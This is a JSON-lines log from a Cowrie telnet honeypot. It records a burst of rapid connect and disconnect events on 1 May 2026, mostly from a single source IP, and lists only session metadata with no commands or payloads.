{"eventid":"cowrie.session.closed","duration":31.644984006881714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:22.820635Z","src_ip":"206.54.191.52","session":"381535c92180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44630,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa8f512edbc4","protocol":"telnet","message":"New connection: 206.54.191.52:44630 (159.203.135.109:23) [session: aa8f512edbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:22.859854Z"}
{"eventid":"cowrie.session.closed","duration":30.46634578704834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:23.197016Z","src_ip":"157.173.110.44","session":"941674ef00fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12972116470337,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:23.644552Z","src_ip":"206.54.191.52","session":"37863bdaa64e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44596,"dst_ip":"159.203.135.109","dst_port":23,"session":"defb4b216561","protocol":"telnet","message":"New connection: 206.54.191.52:44596 (159.203.135.109:23) [session: defb4b216561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:23.824661Z"}
{"eventid":"cowrie.session.closed","duration":31.431702375411987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:23.961840Z","src_ip":"206.54.191.52","session":"f5e1a1cb8e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44802,"dst_ip":"159.203.135.109","dst_port":23,"session":"b085579e9ccc","protocol":"telnet","message":"New connection: 206.54.191.52:44802 (159.203.135.109:23) [session: b085579e9ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:24.101733Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":46160,"dst_ip":"159.203.135.109","dst_port":23,"session":"21c25fc64ede","protocol":"telnet","message":"New connection: 206.54.191.52:46160 (159.203.135.109:23) [session: 21c25fc64ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:24.541860Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":46730,"dst_ip":"159.203.135.109","dst_port":23,"session":"849b78ca67b4","protocol":"telnet","message":"New connection: 206.54.191.52:46730 (159.203.135.109:23) [session: 849b78ca67b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:24.983201Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49182,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14f2bdc06da","protocol":"telnet","message":"New connection: 206.54.191.52:49182 (159.203.135.109:23) [session: b14f2bdc06da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:27.342524Z"}
{"eventid":"cowrie.session.closed","duration":30.69230818748474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:27.530038Z","src_ip":"206.54.191.52","session":"51013da6a091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.252.187.43","src_port":42952,"dst_ip":"10.17.0.5","dst_port":23,"session":"18eead02a164","protocol":"telnet","message":"New connection: 38.252.187.43:42952 (10.17.0.5:23) [session: 18eead02a164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:27.781047Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50826,"dst_ip":"159.203.135.109","dst_port":23,"session":"b70bc67cd706","protocol":"telnet","message":"New connection: 206.54.191.52:50826 (159.203.135.109:23) [session: b70bc67cd706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:28.874094Z"}
{"eventid":"cowrie.session.closed","duration":31.760209560394287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:28.994044Z","src_ip":"206.54.191.52","session":"46291ee64c8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48160,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ad0ac6e763b","protocol":"telnet","message":"New connection: 206.54.191.52:48160 (159.203.135.109:23) [session: 1ad0ac6e763b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:29.343911Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52336,"dst_ip":"159.203.135.109","dst_port":23,"session":"7998d433f1bd","protocol":"telnet","message":"New connection: 206.54.191.52:52336 (159.203.135.109:23) [session: 7998d433f1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:29.972527Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":51186,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d6b14f7414","protocol":"telnet","message":"New connection: 206.54.191.52:51186 (159.203.135.109:23) [session: b3d6b14f7414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:30.159578Z"}
{"eventid":"cowrie.session.closed","duration":30.671514987945557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:30.320261Z","src_ip":"206.54.191.52","session":"842456d18b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53484,"dst_ip":"159.203.135.109","dst_port":23,"session":"48007926dd2c","protocol":"telnet","message":"New connection: 206.54.191.52:53484 (159.203.135.109:23) [session: 48007926dd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:31.850488Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54758,"dst_ip":"159.203.135.109","dst_port":23,"session":"075f9bc8c119","protocol":"telnet","message":"New connection: 206.54.191.52:54758 (159.203.135.109:23) [session: 075f9bc8c119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:31.953991Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55970,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08854f70a42","protocol":"telnet","message":"New connection: 206.54.191.52:55970 (159.203.135.109:23) [session: d08854f70a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:33.212305Z"}
{"eventid":"cowrie.session.closed","duration":31.173444509506226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:33.288953Z","src_ip":"206.54.191.52","session":"71faaaf40a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56334,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d0a63d282b","protocol":"telnet","message":"New connection: 206.54.191.52:56334 (159.203.135.109:23) [session: 56d0a63d282b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:33.597418Z"}
{"eventid":"cowrie.session.closed","duration":31.58316421508789,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:33.732378Z","src_ip":"206.54.191.52","session":"076e5e47bd5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480103969573975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:34.083206Z","src_ip":"206.54.191.52","session":"345f0d63b595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53828,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5fcde1d4515","protocol":"telnet","message":"New connection: 206.54.191.52:53828 (159.203.135.109:23) [session: d5fcde1d4515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:34.205703Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55980,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b6ab9a0a992","protocol":"telnet","message":"New connection: 206.54.191.52:55980 (159.203.135.109:23) [session: 3b6ab9a0a992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:34.233993Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57902,"dst_ip":"159.203.135.109","dst_port":23,"session":"b537fc49753b","protocol":"telnet","message":"New connection: 206.54.191.52:57902 (159.203.135.109:23) [session: b537fc49753b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:34.974466Z"}
{"eventid":"cowrie.session.closed","duration":30.558085680007935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:36.120893Z","src_ip":"206.54.191.52","session":"cec4456cdd8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58084,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7be76371c70","protocol":"telnet","message":"New connection: 206.54.191.52:58084 (159.203.135.109:23) [session: b7be76371c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:36.264375Z"}
{"eventid":"cowrie.session.closed","duration":30.6510112285614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:36.315244Z","src_ip":"206.54.191.52","session":"a2c803983fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782434463500977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:37.321010Z","src_ip":"206.54.191.52","session":"c5a0b27abe5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59938,"dst_ip":"159.203.135.109","dst_port":23,"session":"d327f54ef9b0","protocol":"telnet","message":"New connection: 206.54.191.52:59938 (159.203.135.109:23) [session: d327f54ef9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:38.045705Z"}
{"eventid":"cowrie.session.closed","duration":30.71696901321411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:38.084494Z","src_ip":"206.54.191.52","session":"3e17ef3379c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.407335996627808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:38.346208Z","src_ip":"206.54.191.52","session":"99d8252a3b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":60220,"dst_ip":"159.203.135.109","dst_port":23,"session":"34e56b58fe48","protocol":"telnet","message":"New connection: 206.54.191.52:60220 (159.203.135.109:23) [session: 34e56b58fe48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:38.374593Z"}
{"eventid":"cowrie.session.closed","duration":31.017433643341064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:38.574459Z","src_ip":"206.54.191.52","session":"c5ff2be19c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":33830,"dst_ip":"159.203.135.109","dst_port":23,"session":"89ef9e88f302","protocol":"telnet","message":"New connection: 206.54.191.52:33830 (159.203.135.109:23) [session: 89ef9e88f302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:38.844702Z"}
{"eventid":"cowrie.session.closed","duration":30.928026914596558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:39.080441Z","src_ip":"206.54.191.52","session":"f4c28426c8f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95665216445923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:39.409321Z","src_ip":"206.54.191.52","session":"858525f7491f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.678256273269653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:39.982694Z","src_ip":"206.54.191.52","session":"b428c41b781c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35386,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc869f3e0ec","protocol":"telnet","message":"New connection: 206.54.191.52:35386 (159.203.135.109:23) [session: ddc869f3e0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:40.082007Z"}
{"eventid":"cowrie.session.closed","duration":30.77519154548645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:40.145939Z","src_ip":"206.54.191.52","session":"f1c0ab005e34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35440,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e2fa6f5f16b","protocol":"telnet","message":"New connection: 206.54.191.52:35440 (159.203.135.109:23) [session: 6e2fa6f5f16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:40.167878Z"}
{"eventid":"cowrie.session.closed","duration":30.697842359542847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:40.408953Z","src_ip":"206.54.191.52","session":"3b6784415d93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.310139656066895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:40.415374Z","src_ip":"206.54.191.52","session":"cba934f5954d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.666491508483887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:41.066076Z","src_ip":"206.54.191.52","session":"f57ec9860eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91530728340149,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:41.258997Z","src_ip":"206.54.191.52","session":"64a87182112f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.554743766784668,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:41.335670Z","src_ip":"38.252.187.43","session":"18eead02a164","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17441964149475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:41.732318Z","src_ip":"206.54.191.52","session":"a575434f9f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53716254234314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:41.908522Z","src_ip":"206.54.191.52","session":"201033f19a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6395485acf7","protocol":"telnet","message":"New connection: 206.54.191.52:37672 (159.203.135.109:23) [session: f6395485acf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:42.006279Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37895,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1f67663118","protocol":"telnet","message":"New connection: 206.54.191.52:37895 (159.203.135.109:23) [session: 2c1f67663118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:42.256075Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38316,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f6cf01d8075","protocol":"telnet","message":"New connection: 206.54.191.52:38316 (159.203.135.109:23) [session: 7f6cf01d8075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:42.673435Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38380,"dst_ip":"159.203.135.109","dst_port":23,"session":"016e812c54ef","protocol":"telnet","message":"New connection: 206.54.191.52:38380 (159.203.135.109:23) [session: 016e812c54ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:42.747022Z"}
{"eventid":"cowrie.session.closed","duration":31.00540566444397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:43.587287Z","src_ip":"206.54.191.52","session":"53e3b2194bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39556,"dst_ip":"159.203.135.109","dst_port":23,"session":"d542af86e9a9","protocol":"telnet","message":"New connection: 206.54.191.52:39556 (159.203.135.109:23) [session: d542af86e9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:43.844796Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39728,"dst_ip":"159.203.135.109","dst_port":23,"session":"d382728928a5","protocol":"telnet","message":"New connection: 206.54.191.52:39728 (159.203.135.109:23) [session: d382728928a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:43.952675Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39974,"dst_ip":"159.203.135.109","dst_port":23,"session":"fca297bdde24","protocol":"telnet","message":"New connection: 206.54.191.52:39974 (159.203.135.109:23) [session: fca297bdde24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:44.163428Z"}
{"eventid":"cowrie.session.closed","duration":30.320305824279785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:44.200448Z","src_ip":"206.54.191.52","session":"ce11a329a401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273740768432617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:44.474938Z","src_ip":"206.54.191.52","session":"33e30edb0d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":40554,"dst_ip":"159.203.135.109","dst_port":23,"session":"260c1be55fbc","protocol":"telnet","message":"New connection: 206.54.191.52:40554 (159.203.135.109:23) [session: 260c1be55fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:44.609687Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36516,"dst_ip":"159.203.135.109","dst_port":23,"session":"f00ef944824e","protocol":"telnet","message":"New connection: 206.54.191.52:36516 (159.203.135.109:23) [session: f00ef944824e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:45.219417Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37872,"dst_ip":"159.203.135.109","dst_port":23,"session":"4613544dfb76","protocol":"telnet","message":"New connection: 206.54.191.52:37872 (159.203.135.109:23) [session: 4613544dfb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:45.236996Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":41444,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c40d22daa09","protocol":"telnet","message":"New connection: 206.54.191.52:41444 (159.203.135.109:23) [session: 8c40d22daa09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:45.470100Z"}
{"eventid":"cowrie.session.closed","duration":30.779680252075195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:45.502600Z","src_ip":"206.54.191.52","session":"25a143904646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.664326667785645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:46.421360Z","src_ip":"206.54.191.52","session":"42eb1350c94d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"34e00f82f0ec","protocol":"telnet","message":"New connection: 206.54.191.52:44498 (159.203.135.109:23) [session: 34e00f82f0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:48.107577Z"}
{"eventid":"cowrie.session.closed","duration":32.003318071365356,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:48.264853Z","src_ip":"206.54.191.52","session":"3549467b9428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44598,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86e5d34feb4","protocol":"telnet","message":"New connection: 206.54.191.52:44598 (159.203.135.109:23) [session: c86e5d34feb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:48.278646Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44638,"dst_ip":"159.203.135.109","dst_port":23,"session":"d26dbcec4edb","protocol":"telnet","message":"New connection: 206.54.191.52:44638 (159.203.135.109:23) [session: d26dbcec4edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:48.312627Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45440,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca4190f5dd5","protocol":"telnet","message":"New connection: 206.54.191.52:45440 (159.203.135.109:23) [session: 0ca4190f5dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:48.977382Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45610,"dst_ip":"159.203.135.109","dst_port":23,"session":"bffbd34010ce","protocol":"telnet","message":"New connection: 206.54.191.52:45610 (159.203.135.109:23) [session: bffbd34010ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:49.156847Z"}
{"eventid":"cowrie.session.closed","duration":30.34061908721924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:50.115538Z","src_ip":"206.54.191.52","session":"7f0a47cfad30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45654,"dst_ip":"159.203.135.109","dst_port":23,"session":"234b1736dd8d","protocol":"telnet","message":"New connection: 206.54.191.52:45654 (159.203.135.109:23) [session: 234b1736dd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:50.205635Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43680,"dst_ip":"159.203.135.109","dst_port":23,"session":"83bf40e933fc","protocol":"telnet","message":"New connection: 206.54.191.52:43680 (159.203.135.109:23) [session: 83bf40e933fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:50.501409Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":46840,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5253c58a7c4","protocol":"telnet","message":"New connection: 206.54.191.52:46840 (159.203.135.109:23) [session: d5253c58a7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:51.037396Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49590,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0052eb11766","protocol":"telnet","message":"New connection: 206.54.191.52:49590 (159.203.135.109:23) [session: b0052eb11766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:52.534575Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49742,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c6d422025d3","protocol":"telnet","message":"New connection: 206.54.191.52:49742 (159.203.135.109:23) [session: 4c6d422025d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:52.650228Z"}
{"eventid":"cowrie.session.closed","duration":31.008784294128418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:52.670743Z","src_ip":"206.54.191.52","session":"0f5f64e120ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796993017196655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:17:53.656575Z","src_ip":"206.54.191.52","session":"aa8f512edbc4","protocol":"telnet"}
